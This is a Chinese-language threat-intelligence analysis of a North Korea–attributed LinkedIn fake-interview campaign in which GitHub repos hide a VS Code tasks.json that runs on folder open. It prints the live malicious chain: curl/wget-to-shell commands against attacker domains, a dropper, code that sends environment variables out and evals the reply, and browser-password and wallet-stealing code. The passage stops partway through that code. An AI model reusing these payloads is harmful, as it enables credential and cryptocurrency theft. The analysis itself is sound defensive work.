yunshiuan 2026-04-29T11:34:15.133Z https://yunshiuan.com/ yunshiuan Hexo (中文版)2026 Linkedin Malicious Coding Assignment / Test 分析 https://yunshiuan.com/2026/01/29/LinkedinFish_ch/ 2026-01-29T16:00:00.000Z 2026-04-29T11:34:15.133Z 2026 Linkedin Malicious Coding Assignment / Test 分析

author : yunshiuan , 這次的分析報告是在 2026/01/13~2026/01/22 TeamT5 Camp 威脅情資組的專題報告，與 @yjk 、 @rui 共同研究

在 2026/01/08 在 Thread 上有一篇貼文造成不小的影響，簡單來說是關於說他在 Linkedin 上收到了一個人的面試邀請，並給予 GitHub 的 Repo 連結當成面試的題目，當他把 GitHub Repo Clone 下來並用 vscode 相關的程式查看時，發現了惡意行為，但最終還是發現他的虛擬錢包被偷了 60 萬台幣。

image-20260125101548610image-20260125102029716

他原文底下還有附上他與假面試官的整個流程，幸運的是他有把原 Repo 的資訊一起展示出來，名稱是 megaorg996/tokentradingdapp ，但可惜的是這個 Repo 已經消失了，不過如果使用 GitHub Search 的功能將一模一樣的 Repo Name 丟上去後，發現還有四個一模一樣的 Repo， https://github[.]com/leecarney94/tokentradingdapp 其中這個 Repo 的服務都還是正常運行的。另外如果將類似的 Repo 名稱拿去搜尋，會得到更多的惡意 Repo，此篇分析報告將展示此類攻擊但不同 sample 的惡意行為。

Ps : 2026/01/29在寫此報告的時候，leecarney94/tokentradingdapp 也不見了，但之後搜尋發現只是改成了 leecarney93/TokenTradingDapp

通常來說用 vscode 時開啟某個專案會出現

image-20260125102029716

接下來的分析報告也會提到當點下去 Turst 時會發生什麼事

tl;dr

此份分析報告展示了兩種雖然攻擊面相同但攻擊行為不一樣的 Sample。

攻擊技術包括：

  • 透過 LinkedIn 假冒招聘者，發送帶有惡意程式碼的 GitHub 專案連結。
  • 利用 VS Code 的 tasks.json 自動化功能，在開啟專案時自動執行惡意指令。
  • 竊取跨平台瀏覽器帳密、加密貨幣錢包、環境變數及剪貼簿內容。
  • 在 Windows 上透過啟動資料夾及排程任務確保惡意軟體重啟後執行。
  • 使用多層混淆 、多層dropper 複雜分析過程
  • 新增 Windows Defender 排除清單、建立 Scheduleled Task 達成持久化
  • 建立 TCP Socket/Websocket 連線，提供遠端 Shell、檔案上傳/下載、鍵盤側錄，甚至下載 AnyDesk 進行遠端桌面控制。

並且關聯出這次的攻擊是來自北韓的 Lazarus Group 發起的，不同於之前的 BeaverTail 手法，變成更容易觸發成功。

另外此攻擊有非常多的變體，並且可以在 GitHub 上搜尋到非常多，不過有些 Sample 前幾天還活著的 Repo 過幾天就不見了，但有可能只是換個名字或者換個 Repo 名字，更甚是因為他有些服務是架在 Vercel 上，過幾天可能就會被發現下架或關閉，因此可能過幾天這個分析報告上的 GitHub Repo 就全消失了。

ex : 連結1 、 連結2 、連結3

Analyze

Sample1

網址 ：https://github[.]com/leecarney93/tokentradingdapp

首次出現時間為：2025/10/31

類似的 GitHub Repo :

  • https://Github[.]com/ryon-business/Promoting-DApp
  • https://Github[.]com/samuelmeadowbiankah/felina

在這些惡意的專案當中，皆有 .vscode 的資料夾，當中資料夾的內容包含 settings.json 以及 tasks.json ，重點在於 tasks.json ，tasks.json 原本的用處是當使用 VS Code 開啟時，可以進行一些自動化腳本的執行，但是在此攻擊事件中被惡意利用，以下為此 Sample 的 tasks.json 。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// tasks.json
{
  "version": "2.0.0",
  "tasks": [
    {
      "label": "env",
      "type": "shell",
      "osx": {
        "command": "curl 'https://www.vscodeconfig[.]com/settings/mac?flag=1' | bash"
      },
      "linux": {
        "command": "wget -qO- 'https://www.vscodeconfig[.]com/settings/linux?flag=1' | sh"
      },
      "windows": {
        "command": "curl https://www.vscodeconfig[.]com/settings/windows?flag=1 | cmd"
      },
      "problemMatcher": [],
      "presentation": {
        "reveal": "never",
        "echo": false,
        "focus": false,
        "close": true,
        "panel": "dedicated",
        "showReuseMessage": false
      },
      "runOptions": {
        "runOn": "folderOpen"
      }
    }
  ]
}

這邊可以發現他設定了 “runOn”: “folderOpen” ，代表如果使用者用 VS Code 將此專案打開，就會執行上方設定的指令，指令會根據作業系統請求對應的網頁並執行回傳內容。

接下來抓一下回傳內容（以 Linux 來舉例）：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/bin/bash
set -e
echo "Authenticated"

TARGET_DIR="$HOME/.vscode"
mkdir -p "$TARGET_DIR"
clear
wget -q -O "$TARGET_DIR/vscode-bootstrap.sh" "https://vscodesettings.vercel[.]app/settings/bootstraplinux?flag=1"
clear
chmod +x "$TARGET_DIR/vscode-bootstrap.sh"
clear
nohup bash "$TARGET_DIR/vscode-bootstrap.sh" > /dev/null 2>&1 &
clear
exit 0%

可以看到他又去$HOME/.vscode 底下向https://vscodesettings.vercel[.]app/settings/bootstraplinux?flag=1 請求並存成vscode-bootstrap.sh ，並執行它。

接下來看一下vscode-bootstrap.sh 的內容：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
# vscode-bootstrap.sh

#!/bin/bash
# Creating new Info
set -e
OS=$(uname -s)
NODE_EXE=""
NODE_INSTALLED_VERSION=""
# -------------------------
# Check for global Node.js installation
# -------------------------
if command -v node &> /dev/null; then
    NODE_INSTALLED_VERSION=$(node -v 2>/dev/null || echo "")
    if [ -n "$NODE_INSTALLED_VERSION" ]; then
        NODE_EXE="node"
        echo "[INFO] Node.js is already installed globally: $NODE_INSTALLED_VERSION"
    fi
fi
# -------------------------
# If Node.js not found globally, download and extract portable version
# -------------------------
if [ -z "$NODE_EXE" ]; then
    echo "[INFO] Node.js not found globally. Attempting to download portable version..."
    # Get latest Node.js version
    if [ "$OS" == "Darwin" ]; then
        # macOS - get latest version
        if command -v curl &> /dev/null; then
            LATEST_VERSION=$(curl -s https://nodejs.org/dist/index.json | grep -o '"version":"[^"]*"' | head -1 | cut -d'"' -f4)
        elif command -v wget &> /dev/null; then
            LATEST_VERSION=$(wget -qO- https://nodejs.org/dist/index.json | grep -o '"version":"[^"]*"' | head -1 | cut -d'"' -f4)
        else
            LATEST_VERSION="v20.11.1"
        fi
    elif [ "$OS" == "Linux" ]; then
        # Linux - get latest version
        if command -v curl &> /dev/null; then
            LATEST_VERSION=$(curl -s https://nodejs.org/dist/index.json | grep -o '"version":"[^"]*"' | head -1 | cut -d'"' -f4)
        elif command -v wget &> /dev/null; then
            LATEST_VERSION=$(wget -qO- https://nodejs.org/dist/index.json | grep -o '"version":"[^"]*"' | head -1 | cut -d'"' -f4)
        else
            LATEST_VERSION="v20.11.1"
        fi
    else
        echo "[ERROR] Unsupported OS: $OS"
        exit 1
    fi
    # Remove leading "v"
    NODE_VERSION=${LATEST_VERSION#v}
    # Determine download URL and paths based on OS
    EXTRACTED_DIR="$HOME/.vscode/node-v${NODE_VERSION}-$( [ "$OS" = "Darwin" ] && echo "darwin" || echo "linux" )-x64"
    PORTABLE_NODE="$EXTRACTED_DIR/bin/node"
    if [ "$OS" == "Darwin" ]; then
        NODE_TARBALL="$HOME/.vscode/node-v${NODE_VERSION}-darwin-x64.tar.xz"
        DOWNLOAD_URL="https://nodejs.org/dist/v${NODE_VERSION}/node-v${NODE_VERSION}-darwin-x64.tar.xz"
    elif [ "$OS" == "Linux" ]; then
        NODE_TARBALL="$HOME/.vscode/node-v${NODE_VERSION}-linux-x64.tar.xz"
        DOWNLOAD_URL="https://nodejs.org/dist/v${NODE_VERSION}/node-v${NODE_VERSION}-linux-x64.tar.xz"
    fi
    # Check if portable Node.js already exists
    if [ -f "$PORTABLE_NODE" ]; then
        echo "[INFO] Portable Node.js found."
        NODE_EXE="$PORTABLE_NODE"
        export PATH="$EXTRACTED_DIR/bin:$PATH"
    else
        echo "[INFO] Downloading Node.js..."
        mkdir -p "$HOME/.vscode"
        # Download Node.js
        if ! command -v curl &> /dev/null && ! command -v wget &> /dev/null; then
            echo "[ERROR] Neither curl nor wget is available."
            exit 1
        fi
        if command -v curl &> /dev/null; then
            curl -sSL -o "$NODE_TARBALL" "$DOWNLOAD_URL"
        else
            wget -q -O "$NODE_TARBALL" "$DOWNLOAD_URL"
        fi
        if [ ! -f "$NODE_TARBALL" ]; then
            echo "[ERROR] Failed to download Node.js."
            exit 1
        fi
        echo "[INFO] Extracting Node.js..."
        tar -xf "$NODE_TARBALL" -C "$HOME/.vscode"
        rm -f "$NODE_TARBALL"
        if [ -f "$PORTABLE_NODE" ]; then
            echo "[INFO] Portable Node.js extracted successfully."
            NODE_EXE="$PORTABLE_NODE"
            export PATH="$EXTRACTED_DIR/bin:$PATH"
        else
            echo "[ERROR] node executable not found after extraction."
            exit 1
        fi
    fi
fi
# -------------------------
# Verify Node.js works
# -------------------------
if [ -z "$NODE_EXE" ]; then
    echo "[ERROR] Node.js executable not set."
    exit 1
fi
"$NODE_EXE" -v > /dev/null 2>&1
if [ $? -ne 0 ]; then
    echo "[ERROR] Node.js execution failed."
    exit 1
fi
# -------------------------
# Download required files
# -------------------------
USER_HOME="$HOME/.vscode"
mkdir -p "${USER_HOME}"
BASE_URL="https://vscodesettings.vercel.app"
echo "[INFO] Downloading env-setup.js and package.json..."
if ! command -v curl >/dev/null 2>&1; then
    wget -q -O "${USER_HOME}/env-setup.js" "${BASE_URL}/settings/env?flag=1"
    wget -q -O "${USER_HOME}/package.json" "${BASE_URL}/settings/package"
else
    curl -s -L -o "${USER_HOME}/env-setup.js" "${BASE_URL}/settings/env?flag=1"
    curl -s -L -o "${USER_HOME}/package.json" "${BASE_URL}/settings/package"
fi
# -------------------------
# Install dependencies
# -------------------------
cd "${USER_HOME}"
if [ ! -d "node_modules/request" ]; then
    echo "[INFO] Installing NPM packages..."
    if command -v npm &> /dev/null; then
        npm install --silent --no-progress --loglevel=error --fund=false
    else
        # Use npm from extracted directory if available
        if [ -n "$EXTRACTED_DIR" ] && [ -f "$EXTRACTED_DIR/bin/npm" ]; then
            "$EXTRACTED_DIR/bin/npm" install --silent --no-progress --loglevel=error --fund=false
        else
            echo "[ERROR] npm not found."
            exit 1
        fi
    fi
    if [ $? -ne 0 ]; then
        echo "[ERROR] npm install failed."
        exit 1
    fi
fi
# -------------------------
# Run env-setup.js
# -------------------------
if [ -f "${USER_HOME}/env-setup.js" ]; then
    echo "[INFO] Running env-setup.js..."
    #cd "$HOME"
    "$NODE_EXE" "${USER_HOME}/env-setup.js"
    if [ $? -ne 0 ]; then
        echo "[ERROR] env-setup.js execution failed."
        exit 1
    fi
else
    echo "[ERROR] env-setup.js not found."
    exit 1
fi
echo "[SUCCESS] Script completed successfully."
exit 0%

他會先檢查目前環境是否有 Node.js ，沒有就安裝，接下來會前往https://vscodesettings.vercel[.]app download 兩個檔案，一個是env-setup.js 以及 package.json ，接下來會安裝package.json套件並且執行 env-setup.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// package.json
{
  "name": "env",
  "version": "1.0.0",
  "devDependencies": {
    "hardhat": "^2.20.2"
  },
  "dependencies": {
    "axios": "^1.10.0",
    "fs": "^0.0.1-security",
    "request": "^2.88.2",
    "clipboardy": "^4.0.0",
    "socket.io-client": "^4.8.1",
    "sql.js": "^1.13.0"
  },
  "scripts": {
    "test": "npx hardhat test",
    "deploy": "npx hardhat run scripts/deploy.js"
  }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// env-setup.js
const axios = require("axios");
const host = "mylocation-info.vercel.app";
const apikey = "3aeb34a31";
axios
  .post(
    `https://${host}/api/vscode-encrypted/${apikey}`,
    { ...process.env },
    { headers: { "x-secret-header": "secret" } },
  )
  .then((response) => {
    eval(response.data);
    return response.data;
  })
  .catch((err) => {
    return false;
  });

在 env-setup.js 當中他會前往 https://mylocation-info.vercel[.]app/api/vscode-encrypted/3aeb34a31，並以eval 直接執行。

前往下載https://mylocation-info.vercel[.]app/api/vscode-encrypted/3aeb34a31 的程式後，會獲得一個 4.2MB 大約 93248 行的 JavaScript 混淆檔，但這邊推薦一個 JavaScript 解混淆的網站 ： https://webcrack.netlify.app/ ，對於分析此程式的幫助非常大。

在這個 JavaScript 當中他將主要的功能寫成了三個模組，分別是 ldbScript、autoUploadScript、socketScript ，並且三個模組會放在%TEMP%/pid." + t + ".[1-3].lock 以防止重複執行，並且會去判斷現在執行的環境是不是 WSL ，如果是的話會對/mnt/c/進行存取。

另外這個 JavaScript 開始執行時會對http://144.172.107[.]191:8087/api/log 做初始通知。

HTTP POST 請求為

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /api/log HTTP/1.1
Host: 144.172.107.191:8087
Content-Type: application/json
{
  "ukey": 101,
  "t": <timestamp>,
  "host": "101_<hostname>",
  "os": "<os_type> <os_release>",
  "username": "<username>",
  "message": "Starting client",
  "level": "info",
  "data": {}
}

以下是三個模組的程式碼

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
const r = async () => {
  f_s_l("Starting client", "info");
  const I =
    'const { exec, execSync } = require("child_process");\nconst path = require("path");\nconst axios = require("axios");\nconst fs = require("fs");\nconst fsPromises = require("fs/promises");\nconst os = require("os");\nconst FormData = require("form-data");\nconst crypto = require("crypto");\nconst { exit } = require("process");\n' +
    s_u_c +
    "\n" +
    Utils.set_l("ldb") +
    "\nconst formData = new FormData();\nlet i = 0;\nconst wps = [\"nkbihfbeogaeaoehlefnkodbefgpgknn\", \"ejbalbakoplchlghecdalmeeeajnimhm\", \"acmacodkjbdgmoleebolmdjonilkdbch\", \"bfnaelmomeimhlpmgjnjophhpkkoljpa\", \"ibnejdfjmmkpcnlpebklmnkoeoihofec\", \"egjidjbpglichdcondbcbdnbeeppgdph\", \"nphplpgoakhhjchkkhmiggakijnkhfnd\", \"omaabbefbmiijedngplfjmnooppbclkk\", \"bhhhlbepdkbapadjdnnojkbgioiodbic\", \"aeachknmefphepccionboohckonoeemg\", \"aflkmhkiijdbfcmhplgifokgdeclgpoi\", \"agoakfejjabomempkjlepdflaleeobhb\", \"aholpfdialjgjfhomihkjbmgjidlcdno\", \"afbcbjpbpfadlkmhmclhkeeodmamcflc\", \"cgbogdmdefihhljhfeffkljbghamglni\", \"dmkamcknogkgcdfhhbddcghachkejeap\", \"dlcobpjiigpikoobohmabehhmhfoodbb\", \"efbglgofoippbgcjepnhiblaibcnclgk\", \"ejjladinnckdgjemekebdpeokbikhfci\", \"fhbohimaelbohpjbbldcngcnapndodjp\", \"fhkbkphfeanlhnlffkpologfoccekhic\", \"fhmfendgdocmcbmfikdcogofphimnkno\", \"fldfpgipfncgndfolcbkdeeknbbbnhcc\", \"gjnckgkfmgmibbkoficdidcljeaaaheg\", \"hifafgmccdpekplomjjkcfgodnhcellj\", \"hmeobnfnfcmdkdcmlblgagmfpfboieaf\", \"hnfanknocfeofbddgcijnmhnfnkdnaad\", \"jiidiaalihmmhddjgbnbgdfflelocpak\", \"jblndlipeogpafnldhgmapagcccfchpi\", \"jmbkjchcobfffnmjboflnchcbljiljdk\", \"jnjpmcgfcfeffkfgcnjefkbkgcpnkpab\", \"kpkmkbkoifcfpapmleipncofdbjdpice\", \"khpkpbbcccdmmclmpigdgddabeilkdpd\", \"ldinpeekobnhjjdofggfgjlcehhmanaj\", \"lgmpcpglpngdoalbgeoldeajfclnhafa\", \"mcohilncbfahbmgdjkbpemcciiolgcge\", \"mopnmbcafieddcagagdcbnhejhlodfdd\", \"nkklfkfpelhghbidbnpdfhblphpfjmbo\", \"penjlddjkjgpnkllboccdgccekpkcbin\", \"ppbibelpcjmhbdihakflkdcoccbgbkpo\"];\nconst platform = process.platform;\n\nconst getWindowsBrowserPaths = (windowsUsername) => {\n  if (!windowsUsername) return [];\n  \n  const windowsPaths = [];\n  // When running in WSL, use /mnt/c/ path format to access Windows filesystem\n  // Windows AppData paths: /mnt/c/Users/{username}/AppData/Local/...\n  const localAppDataBase = `/mnt/c/Users/${windowsUsername}/AppData/Local`;\n  \n  const browserRelativePaths = [\n    \"Google/Chrome/User Data\",                    // Chrome\n    \"BraveSoftware/Brave-Browser/User Data\",      // Brave\n    \"AVG Browser/User Data\",                       // AVG Browser\n    \"Microsoft/Edge/User Data\",                   // Edge\n    \"Opera Software/Opera Stable\",                // Opera\n    \"Opera Software/Opera GX\",                    // Opera GX\n    \"Vivaldi/User Data\",                          // Vivaldi\n    \"Kiwi Browser/User Data\",                     // Kiwi\n    \"Yandex/YandexBrowser/User Data\",            // Yandex\n    \"Iridium/User Data\",                          // Iridium\n    \"Comodo/Dragon/User Data\",                    // Comodo\n    \"SRWare Iron/User Data\",                      // SRWare\n    \"Chromium/User Data\"                          // Chromium\n  ];\n  \n  browserRelativePaths.forEach(relativePath => {\n    const fullPath = path.join(localAppDataBase, relativePath);\n    windowsPaths.push(fullPath);\n  });\n  \n  return windowsPaths;\n};\n\nconst getChromiumBasePaths = () => {\n  const chromiumBrowserPaths = [\n    [\n      path.join(process.env.LOCALAPPDATA || '', \"Google/Chrome/User Data\"),\n      path.join(process.env.HOME || '', \"Library/Application Support/Google/Chrome\"),\n      path.join(process.env.HOME || '', \".config/google-chrome\")\n    ],\n    [\n      path.join(process.env.LOCALAPPDATA || '', \"BraveSoftware/Brave-Browser/User Data\"),\n      path.join(process.env.HOME || '', \"Library/Application Support/BraveSoftware/Brave-Browser\"),\n      path.join(process.env.HOME || '', \".config/BraveSoftware/Brave-Browser\")\n    ],\n    [\n      path.join(process.env.LOCALAPPDATA || '', \"AVG Browser/User Data\"),\n      path.join(process.env.HOME || '', \"Library/Application Support/AVG Browser\"),\n      path.join(process.env.HOME || '', \".config/avg-browser\")\n    ],\n    [\n      path.join(process.env.LOCALAPPDATA || '', \"Microsoft/Edge/User Data\"),\n      path.join(process.env.HOME || '', \"Library/Application Support/Microsoft Edge\"),\n      path.join(process.env.HOME || '', \".config/microsoft-edge\")\n    ],\n    [\n      path.join(process.env.LOCALAPPDATA || '', \"Opera Software/Opera Stable\"),\n      path.join(process.env.HOME || '', \"Library/Application Support/com.operasoftware.Opera\"),\n      path.join(process.env.HOME || '', \".config/opera\")\n    ],\n    [\n      path.join(process.env.LOCALAPPDATA || '', \"Opera Software/Opera GX\"),\n      path.join(process.env.HOME || '', \"Library/Application Support/com.operasoftware.OperaGX\"),\n      path.join(process.env.HOME || '', \".config/opera-gx\")\n    ],\n    [\n      path.join(process.env.LOCALAPPDATA || '', \"Vivaldi/User Data\"),\n      path.join(process.env.HOME || '', \"Library/Application Support/Vivaldi\"),\n      path.join(process.env.HOME || '', \".config/vivaldi\")\n    ],\n    [\n      path.join(process.env.LOCALAPPDATA || '', \"Kiwi Browser/User Data\"),\n      path.join(process.env.HOME || '', \"Library/Application Support/Kiwi Browser\"),\n      path.join(process.env.HOME || '', \".config/kiwi-browser\")\n    ],\n    [\n      path.join(process.env.LOCALAPPDATA || '', \"Yandex/YandexBrowser/User Data\"),\n      path.join(process.env.HOME || '', \"Library/Application Support/Yandex/YandexBrowser\"),\n      path.join(process.env.HOME || '', \".config/yandex-browser\")\n    ],\n    [\n      path.join(process.env.LOCALAPPDATA || '', \"Iridium/User Data\"),\n      path.join(process.env.HOME || '', \"Library/Application Support/Iridium\"),\n      path.join(process.env.HOME || '', \".config/iridium-browser\")\n    ],\n    [\n      path.join(process.env.LOCALAPPDATA || '', \"Comodo/Dragon/User Data\"),\n      path.join(process.env.HOME || '', \"Library/Application Support/Comodo/Dragon\"),\n      path.join(process.env.HOME || '', \".config/comodo-dragon\")\n    ],\n    [\n      path.join(process.env.LOCALAPPDATA || '', \"SRWare Iron/User Data\"),\n      path.join(process.env.HOME || '', \"Library/Application Support/SRWare Iron\"),\n      path.join(process.env.HOME || '', \".config/srware-iron\")\n    ],\n    [\n      path.join(process.env.LOCALAPPDATA || '', \"Chromium/User Data\"),\n      path.join(process.env.HOME || '', \"Library/Application Support/Chromium\"),\n      path.join(process.env.HOME || '', \".config/chromium\")\n    ]\n  ];\n  const platform = process.platform;\n  if (platform === \"win32\") {\n    return chromiumBrowserPaths.map(browser => browser[0]);\n  } else if (platform === \"darwin\") {\n    return chromiumBrowserPaths.map(browser => browser[1]);\n  } else if (platform === \"linux\") {\n    if (is_wsl()) {\n      const windowsUsername = get_wu();\n      if (windowsUsername) {\n        return getWindowsBrowserPaths(windowsUsername);\n      }\n    }\n    return chromiumBrowserPaths.map(browser => browser[2]);\n  } else {\n    process.exit(1);\n  }\n};\nasync function sleep(ms) {\n  return new Promise((resolve) => setTimeout(resolve, ms));\n}\nasync function initSqlJs() {\n  try {\n    const sqljs = require('sql.js');\n    if (typeof sqljs === 'function') {\n      return await sqljs();\n    }\n    return sqljs;\n  } catch (e) {\n   console.log(\"installing sql.js\");\n    try {\n      const platform = process.platform;\n      const installOptions = platform === 'win32' \n        ? { windowsHide: true, stdio: ['pipe', 'pipe', 'pipe'], maxBuffer: 1024 * 1024 * 10 }\n        : { stdio: ['pipe', 'pipe', 'pipe'], maxBuffer: 1024 * 1024 * 10 };\n      execSync(\"npm install sql.js --no-save --no-warnings --no-save --no-progress --loglevel silent\", installOptions);\n      const sqljs = require('sql.js');\n      if (typeof sqljs === 'function') {\n        return await sqljs();\n      }\n      return sqljs;\n    } catch (installErr) {\n     console.log(\"sql.js install err\");\n      return null;\n    }\n  }\n}\nfunction getBrowserEncryptionKey(localStatePath, browserName = 'Chrome') {\n  try {\n    if (!fs.existsSync(localStatePath)) {\n      return null;\n    }\n    const localState = JSON.parse(fs.readFileSync(localStatePath, 'utf8'));\n    const encryptedKey = localState?.os_crypt?.encrypted_key;\n    console.log('encryptedKey', encryptedKey);\n    if (!encryptedKey) {\n      return null;\n    }\n    const encryptedKeyBytes = Buffer.from(encryptedKey, 'base64');\n    const platform = process.platform;\n    if (platform === 'win32') {\n      if (encryptedKeyBytes.slice(0, 5).toString('utf8') === 'DPAPI') {\n        const dpapiEncrypted = encryptedKeyBytes.slice(5);\n        const dpapiScopes = [\n          { flag: 0, name: 'CurrentUser' },\n          { flag: 1, name: 'LocalMachine' }\n        ];\n        for (const scope of dpapiScopes) {\n          try {\n            const tempScriptPath = path.join(os.tmpdir(), `decrypt-key-${Date.now()}-${Math.random().toString(36).substr(2, 9)}.ps1`);\n            const base64Encrypted = dpapiEncrypted.toString('base64');\n            const psScript = `$ErrorActionPreference = 'Stop';\ntry {\nAdd-Type -AssemblyName System.Security -ErrorAction Stop;\n} catch {\n[System.Reflection.Assembly]::Load('System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a') | Out-Null;\n}\n$encrypted = [System.Convert]::FromBase64String('${base64Encrypted}');\ntry {\n$decrypted = [System.Security.Cryptography.ProtectedData]::Unprotect($encrypted, $null, [System.Security.Cryptography.DataProtectionScope]::${scope.name});\n} catch {\nthrow;\n}\n[System.Convert]::ToBase64String($decrypted)`;\n            fs.writeFileSync(tempScriptPath, psScript, 'utf8');\n            try {\n              const keyBase64 = execSync(\n                `powershell -NoProfile -ExecutionPolicy Bypass -File \"${tempScriptPath}\"`,\n                { encoding: 'utf-8', stdio: ['pipe', 'pipe', 'pipe'], maxBuffer: 1024 * 1024, windowsHide: true }\n              ).trim();\n              const decryptedKey = Buffer.from(keyBase64, 'base64');\n              return decryptedKey;\n            } catch (error) {\n              continue;\n            } finally {\n              try {\n                fs.unlinkSync(tempScriptPath);\n              } catch (e) {\n              }\n            }\n          } catch (error) {\n            continue;\n          }\n        }\n        return null;\n      }\n    } else if (platform === 'linux') {\n      if (encryptedKeyBytes.slice(0, 3).toString('utf8') === 'v10' || encryptedKeyBytes.length > 3) {\n        try {\n          const appNames = ['chrome', 'chromium', 'google-chrome', browserName.toLowerCase().replace(/s+/g, '-')];\n          for (const appName of appNames) {\n            try {\n              const secretToolCmd = `secret-tool lookup application \"${appName}\"`;\n              const decryptedKey = execSync(secretToolCmd, { encoding: 'utf-8', stdio: ['pipe', 'pipe', 'pipe'], maxBuffer: 1024 * 1024 }).trim();\n              if (decryptedKey && decryptedKey.length > 0) {\n                return Buffer.from(decryptedKey, 'utf8');\n              }\n            } catch (e) {\n              try {\n                const pythonScript = `import secretstorage; bus = secretstorage.dbus_init(); collection = secretstorage.get_default_collection(bus); items = collection.search_items({\"application\": \"${appName}\"}); item = next(items, None); print(item.get_secret().decode('utf-8') if item else '')`;\n                const decryptedKey = execSync(`python3 -c \"${pythonScript}\"`, { encoding: 'utf-8', stdio: ['pipe', 'pipe', 'pipe'], maxBuffer: 1024 * 1024 }).trim();\n                if (decryptedKey && decryptedKey.length > 0) {\n                  return Buffer.from(decryptedKey, 'utf8');\n                }\n              } catch (e2) {\n                continue;\n              }\n            }\n          }\n          return null;\n        } catch (error) {\n          return null;\n        }\n      }\n    } else if (platform === 'darwin') {\n      if (encryptedKeyBytes.slice(0, 3).toString('utf8') === 'v10') {\n        try {\n          const secret = encryptedKeyBytes.slice(3).toString('base64');\n          const service = `${browserName} Safe Storage`;\n          const account = `${browserName}`;\n          const securityCmd = `security find-generic-password -w -s \"${service}\" -a \"${account}\"`;\n          try {\n            const decryptedKey = execSync(securityCmd, { encoding: 'utf-8', stdio: ['pipe', 'pipe', 'pipe'], maxBuffer: 1024 * 1024 }).trim();\n            if (decryptedKey) {\n              const keychainPassword = decryptedKey;\n              const pbkdf2 = crypto.pbkdf2Sync(keychainPassword, 'saltysalt', 1003, 16, 'sha1');\n              return pbkdf2;\n            }\n          } catch (e) {\n            return null;\n          }\n        } catch (error) {\n          return null;\n        }\n      }\n    }\n    return null;\n  } catch (error) {\n    return null;\n  }\n}\nfunction decryptPassword(encryptedPassword, masterKey = null) {\n  if (!encryptedPassword || encryptedPassword.length === 0) {\n    return \"\";\n  }\n  const version = encryptedPassword[0];\n  let nonceStart = 1;\n  if (version === 0x76 && encryptedPassword.length > 2) {\n    let i = 1;\n    while (i < encryptedPassword.length && encryptedPassword[i] >= 0x30 && encryptedPassword[i] <= 0x39) {\n      i++;\n    }\n    const versionStr = encryptedPassword.slice(0, i).toString('ascii');\n    if (versionStr.startsWith('v')) {\n      nonceStart = i;\n    }\n  }\n  if (version === 0x01 || version === 0x02 || (version === 0x76 && nonceStart > 1)) {\n    return decryptAESGCM(encryptedPassword, nonceStart, masterKey);\n  }\n  return decryptDPAPI(encryptedPassword);\n}\nfunction decryptAESGCM(encryptedPassword, nonceStart, masterKey) {\n  if (encryptedPassword.length < nonceStart + 12) {\n    return \"\";\n  }\n  const nonce = encryptedPassword.slice(nonceStart, nonceStart + 12);\n  const ciphertextStart = nonceStart + 12;\n  const ciphertext = encryptedPassword.slice(ciphertextStart);\n  if (ciphertext.length < 16) {\n    return \"\";\n  }\n  const tag = ciphertext.slice(-16);\n  const encryptedData = ciphertext.slice(0, -16);\n  if (!masterKey) {\n    return \"\";\n  }\n  let key = masterKey.slice(0, 32);\n  if (key.length < 32) {\n    key = Buffer.concat([key, Buffer.alloc(32 - key.length)]);\n  }\n  const decryptionAttempts = [\n    { name: \"AES-256-GCM (full key)\", key: key, keyLen: 32 },\n    { name: \"AES-128-GCM (first 16 bytes)\", key: key.slice(0, 16), keyLen: 16 }\n  ];\n  if (masterKey.length > 32) {\n    decryptionAttempts.push({\n      name: \"AES-256-GCM (full master key)\",\n      key: masterKey.slice(0, 32),\n      keyLen: 32\n    });\n  }\n  for (const attempt of decryptionAttempts) {\n    try {\n      try {\n        const cipher = crypto.createDecipheriv('aes-256-gcm', attempt.key, nonce);\n        cipher.setAuthTag(tag);\n        let decrypted = cipher.update(encryptedData, null, 'utf8');\n        decrypted += cipher.final('utf8');\n        if (decrypted) {\n          return decrypted;\n        }\n      } catch (error) {\n        const aadOptions = [Buffer.from('chrome'), Buffer.from('edge')];\n        for (const aad of aadOptions) {\n          try {\n            const cipher = crypto.createDecipheriv('aes-256-gcm', attempt.key, nonce);\n            cipher.setAAD(aad);\n            cipher.setAuthTag(tag);\n            let decrypted = cipher.update(encryptedData, null, 'utf8');\n            decrypted += cipher.final('utf8');\n            if (decrypted) {\n              return decrypted;\n            }\n          } catch (error) {\n            continue;\n          }\n        }\n      }\n    } catch (error) {\n      continue;\n    }\n  }\n  return \"\";\n}\nfunction decryptDPAPI(encryptedPassword) {\n  try {\n    const attempts = [\n      { data: encryptedPassword, desc: \"Original\", scope: 0 },\n      { data: encryptedPassword, desc: \"Original\", scope: 1 },\n    ];\n    if (encryptedPassword.length > 1 && encryptedPassword[0] === 0x01) {\n      attempts.push(\n        { data: encryptedPassword.slice(1), desc: \"Skip version byte\", scope: 0 },\n        { data: encryptedPassword.slice(1), desc: \"Skip version byte\", scope: 1 }\n      );\n    }\n    if (encryptedPassword.length > 3) {\n      attempts.push(\n        { data: encryptedPassword.slice(3), desc: \"Skip first 3 bytes\", scope: 0 },\n        { data: encryptedPassword.slice(3), desc: \"Skip first 3 bytes\", scope: 1 }\n      );\n    }\n    for (const attempt of attempts) {\n      try {\n        const scopeName = attempt.scope === 0 ? 